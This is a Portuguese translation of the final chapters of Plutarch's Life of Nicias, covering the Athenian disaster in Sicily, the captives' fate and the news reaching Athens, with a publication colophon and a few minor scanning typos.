XLVI. Derrotados no mar, com grande número de mortos e feridos, com a retirada cortada, e sem meios de salvar-se por terra, os atenienses ficaram tão apavorados e abatidos que não opuseram mais resistência aos inimigos, deixando-os levar seus navios, nem pediram permissão para retirar os mortos, a fim de sepultá-los, sentindo mais ainda abandonar os doentes e feridos. Com isto, eles se julgaram mais miseráveis e infelizes, pensando que também chegariam àquele mesmo fim, e com maior miséria e maiores males. Sabendo que eles haviam resolvido partir à noite, e vendo que os siracusanos puseram-se a sacrificar aos deuses e a banquetear-se na cidade, pelo êxito da vitória e pela festa de Hércules, Gilipo achou desaconselhável conven-cê-los e obrigá-los a tomar subitamente as armas, para correr sobre os inimigos retirantes. Hermócrates, porém, imaginou propor um ardil a Nícias. Mandou alguns dos seus amigos mais achegados dizer-lhe que iam, da parte dos que na guerra passada não se fartavam de avisá-lo secretamente, pedir-lhe que evitasse pôr-se a caminho naquela noite, para não cair nas emboscadas que os siracusanos haviam preparado, ocupando todos os estreitos e lugares por onde suas forças teriam de passar.

XLVII. Iludido por esta astúcia, Nícias não duvidou em permanecer ali a noite inteira, receoso de cair nas malhas e emboscadas dos inimigos, que, ao romper do dia, tomaram a dianteira, ocuparam os estreitos, fecharam as passagens dos rios, destruíram as pontes, e dispuseram sua cavalaria em posição de combate perto dos campos abertos, de modo a impedir a fuga dos atenienses e a obrigá-los a lutar. Por fim, depois de haver esperado todo aquele dia e a noite seguinte, eles puseram-se a caminho com grande gritaria, choros e lamentos, como se estivessem abandonando sua terra natal e não a de inimigos, devido à falta de víveres e pelo desgosto que sentiam de abandonar seus parentes e amigos feridos ou doentes, que os não podiam acompanhar, e porque esperavam coisa pior do que a que lhes estava acontecendo.

XLVIII. De tudo quanto digno de dó havia naquele acampamento, nada despertava maior compaixão que a pessoa de Nícias, que, perseguido por sua moléstia, magro e acabado, se achava completamente desprovido de medicamentos. Apesar disso, ele fazia e suportava coisas que os sãos custam a fazer e a suportar, dando a entender a todos que o fazia por eles e não em atenção à sua pessoa, e que ainda lhe restava a esperança de melhores dias. O que mais o acabrunhava era a lembrança da desonra e vergonha de tal viagem, quando todos esperavam honra e glória. Se a vista de tal miséria induzia os observadores à piedade, mais emocionados os deixava, quando se lembravam do que ele sempre dissera e pregara em suas falas, para impedir tal viagem e demover o povo deste empreendimento. E achavam, então, que ele não merecia tamanho castigo. Além disso, confabulando entre eles, estranhavam que um personagem tão devoto como Nícias não tivesse obtido a ajuda dos deuses, que o nivelaram, assim, aos homens mais viciados e piores existentes em toda a armada. Êle, entretanto, mostrando-se sempre alegre, tendo sempre uma palavra firme, e agradando a todo o mundo, dava a conhecer que não tombara ao peso da carga, nem se rendia à infelicidade. Ao longo do caminho todo, cujo percurso durou oito dias, embora fosse continuamente carregado e ínsul-tado, êle manteve por completo a tropa, até o momento em que Demóstenes, com toda a sua gente, foi feito prisioneiro na aldeia de Polizélios, onde se detivera e fora envolvido pelos inimigos, em combate. Vendo-se envolvido, êle desembainhou a espada e enterrou-a no peito. Não morreu, todavia, porque foi logo rodeado pelos inimigos, que se apossaram do corpo.

XLIX. Os siracusanos levaram a notícia a Nícias; e, como êle não lhes desse crédito, mandou algumas cavalarias certificar-se da verdade, obtendo a confirmação do acontecido. Então êle solicitou a Gilipo que permitisse aos atenienses sair a salvo da Sicília, exigindo deles os tributos que desejassem, como reembolso de todas as despesas feitas pelos siracusanos naquela guerra, que êle prometia fazê-los pagar. Os siracusanos opuseram-se a tal, ameaçando-o seriamente; e, dirigindo-lhe insultos, e vendo-o já privado de toda espécie de víveres, atacaram-no mais fortemente que nunca. Êle, entretanto, resistiu durante toda aquela noite, e marchou o inteiro dia seguinte, embora fosse continuamente dardejado, até chegar ao rio Asinaro, no qual os inimigos lançaram grande parte dos atenienses, enquanto outros, morrendo à sede, jogaram-se por si mesmos, para se dessedentar, sendo uns e outros cruelmente mortos pelos siracusanos. Isto fez com que Nícias se lançasse aos pés de Gilipo, e lhe dissesse: "Já que os deuses vos deram a vitória, tende piedade, não de mim, que conquistei glória e renome imortal graças a estas calamidades, mas destes outros atenienses, lembrando-vos que as vantagens da guerra são idênticas e que os atenienses sempre as usaram suave e moderadamente contra vós, quando a sorte lhes foi favorável".

L. Ouvindo estas palavras, Gilipo encarou Nícias e teve dó, porque sabia que ele favoreceu os lacedemônios no último ajuste; e, considerando uma grande glória levar prisioneiros os dois comandantes inimigos, recebeu cortesmente Nícias, con-fortando-o, e ordenou aos mais que não vitimassem os prisioneiros. Sua ordem, porém, demorou a ser atendida por todos, de modo que houve muito mais mortos do que beneficiados, embora soldados desconhecidos se encarregassem de salvar boa quantidade às escondidas. Por fim, reunindo publicamente os que escaparam à morte, despojaram-nos de suas armas, pendurando-as como troféus nas mais belas árvores existentes ao longo do no. Depois, pondo à cabeça chapéus de triunfo, enfeitaram triunfalmente seus cavalos, tosquiaram os dos inimigos, e regressaram vitoriosos à cidade de Siracusa, da guerra mais célebre que os gregos realizaram até então, uns contra outros, vitória perfeita e completa, obtida à custa de proezas e de virtude.

LI.Ao seu regresso houve uma assembléia de siracusanos e seus aliados, na qual um dos oradores e árbitro do governo propôs primeiramente que o dia da captura de Nícias fosse, dali em diante, solenemente festejado, sem ser permitida outra ocupação além da do sacrifício aos deuses, e que a festa se denominasse Asinána, do nome do no em que se dera a derrota. Tal dia foi o vigésimo-sexto do mês de julho, correspondente ao vigésimo-sétimo do mês Carmino, que os atenienses denominam Metagitnion. Quanto aos prisioneiros, que os aliados dos atenienses e seus lacaios fossem publicamente vendidos em leilão; e que os verdadeiros atenienses, condicionalmente livres, e seus confederados da Sicília, fossem encarcerados nas prisões das pedreiras, exceto os comandantes, que seriam mortos. Os siracusanos aprovaram tal sentença. E como o comandante Hermócrates procurasse demonstrar-lhes que o uso humanitário da vitória ser-lhesia mais honroso que a própria vitória, foi tumultuosa e asperamente maltratado. Além disso, como Gilipo lhes pedisse os comandantes, para levá-los vivos aos lacedemônios, não só lhe foi recusado como foi por eles injuriado, tão ciosos se achavam de sua prosperidade, pois durante a guerra se haviam encolerizado contra ele, por não poderem suportar a sua austeridade e severidade à laconiana. Para agravar a situação, diz Timeu que o acusaram de avarento e ladrão, vícios considerados hereditários, pois Cleândridas, seu pai, acusado e provado de peculato, fora banido de Esparta, e ele mesmo, após haver subtraído trinta dos mil que Lisandro enviara por seu intermédio a Esparta, e escondido sob o telhado de sua casa, foi descoberto e obrigado a exilar-se ignominiosamente, conforme declaramos amplamente na vida de Lisandro. Timeu escreve que Nícias e Demóstenes não foram lapidados pelos siracusanos, como declaram Tucídides e Filisto, mas que se sacrificaram por si mesmos, a conselho que Hermócrates lhes mandara por um dos seus homens, que os guardas deixaram entrar na prisão, antes que a assembléia popular fosse dissolvida. Seus corpos foram jogados à entrada da prisão, ficando expostos à curiosidade pública.

LII. Consta que até hoje, em um templo de Siracusa, expõem um escudo, que dizem ser o de Nícias, coberto de ouro e de púrpura lindamente tecidos e mesclados. Quanto aos outros prisioneiros atenienses, a maior parte morreu de doenças e maus tratos nas prisões das pedreiras, onde só tinham por alimento duas tigeladas de cevada e uma de água por dia. Os que conseguiram evadir-se foram apanhados e vendidos como escravos, imprimindo-lhes na lesta a figura e marca de um cavalo. A sua humildade, resignação, paciência e honestidade foram-lhes muito proveitosas, porque não poucos obtiveram logo a liberdade, e os que continuaram cativos tornaram-se queridos de seus senhores, sendo por eles muito bem tratados. Alguns foram libertados graças a Eurípides, pois os sicilianos apreciavam muito mais os versos deste poeta do que os de quaisquer outros gregos do coração da Grécia, e sentiam imenso prazer em aprendê-los e transmiti-los aos mais. Dizem que muitos dos que conseguiram livrar-se do cativeiro e regressar a Atenas foram cumprimentar e agradecer afetuosamente a Eurípides, contando-lhe uns que haviam sido libertados da escravidão por ensinarem trechos de suas obras a seus senhores, e outros que, tendo conseguido fugir depois do combate, e errando pelo campo, encontraram quem lhes desse de comer e de beber, sob condição de cantar-lhes alguns dos seus carmes. O que não admira, pois conta-se que, certa vez, perseguida por fustas de corsários, uma nau da cidade de Cauno procurou salvarse em seus portos, sendo a princípio impedida de fazê-lo; mas, pouco depois, tendo perguntado aos que estavam dentro se conheciam alguma canção de Eurípides, e obtido resposta positiva, deixaram-nos entrar e os receberam satisfeitos.

LIII. Quando a notícia desta miserável derrota chegou a Atenas, a princípio ninguém quis acreditar, pois foi um estrangeiro, desembarcado no porto de Pireu, quem se encarregou de a propalar num salão de barbeiro, supondo-a já sabida. Ouvindo-o contar, o barbeiro correu sem demora à cidade, antes que outros ouvissem e o fizessem, e, dingin-do-se aos magistrados e governadores, espalhou a notícia por toda parte. No mesmo instante os oficiais convocaram uma assembléia das pessoas mais evidentes da cidade, para a qual levaram o barbeiro, que, interrogado de quem obtivera tal notícia, nada pôde dizer positivamente, pelo que foi tomado como um inventor de novidades, para desnortear e amedrontar o povo. À vista disso foi amarrado à roda em que torturavam os criminosos, e longamente martirizado, até à chegada de pessoas que deram notícias exatas e pormenorizaram toda a infelicidade. Mesmo assim, eles nunca quiseram acreditar em tal acontecimento, que Nícias tantas vezes predissera.


Tradução de Miguel Milano. Fonte: As Vidas dos Homens Ilustres de Plutarco.

Traduzidas do Grego por Amyot – Grande-Esmoler da Frabça. Com notas e observações de Brotier, Vauvilliers e Claviers.

Volume Quinto.

Conforme a edição francesa de 1818. (Paris, Janet e Cotelle) e ao texto de 1554.

Ed. das Américas.1962.

 

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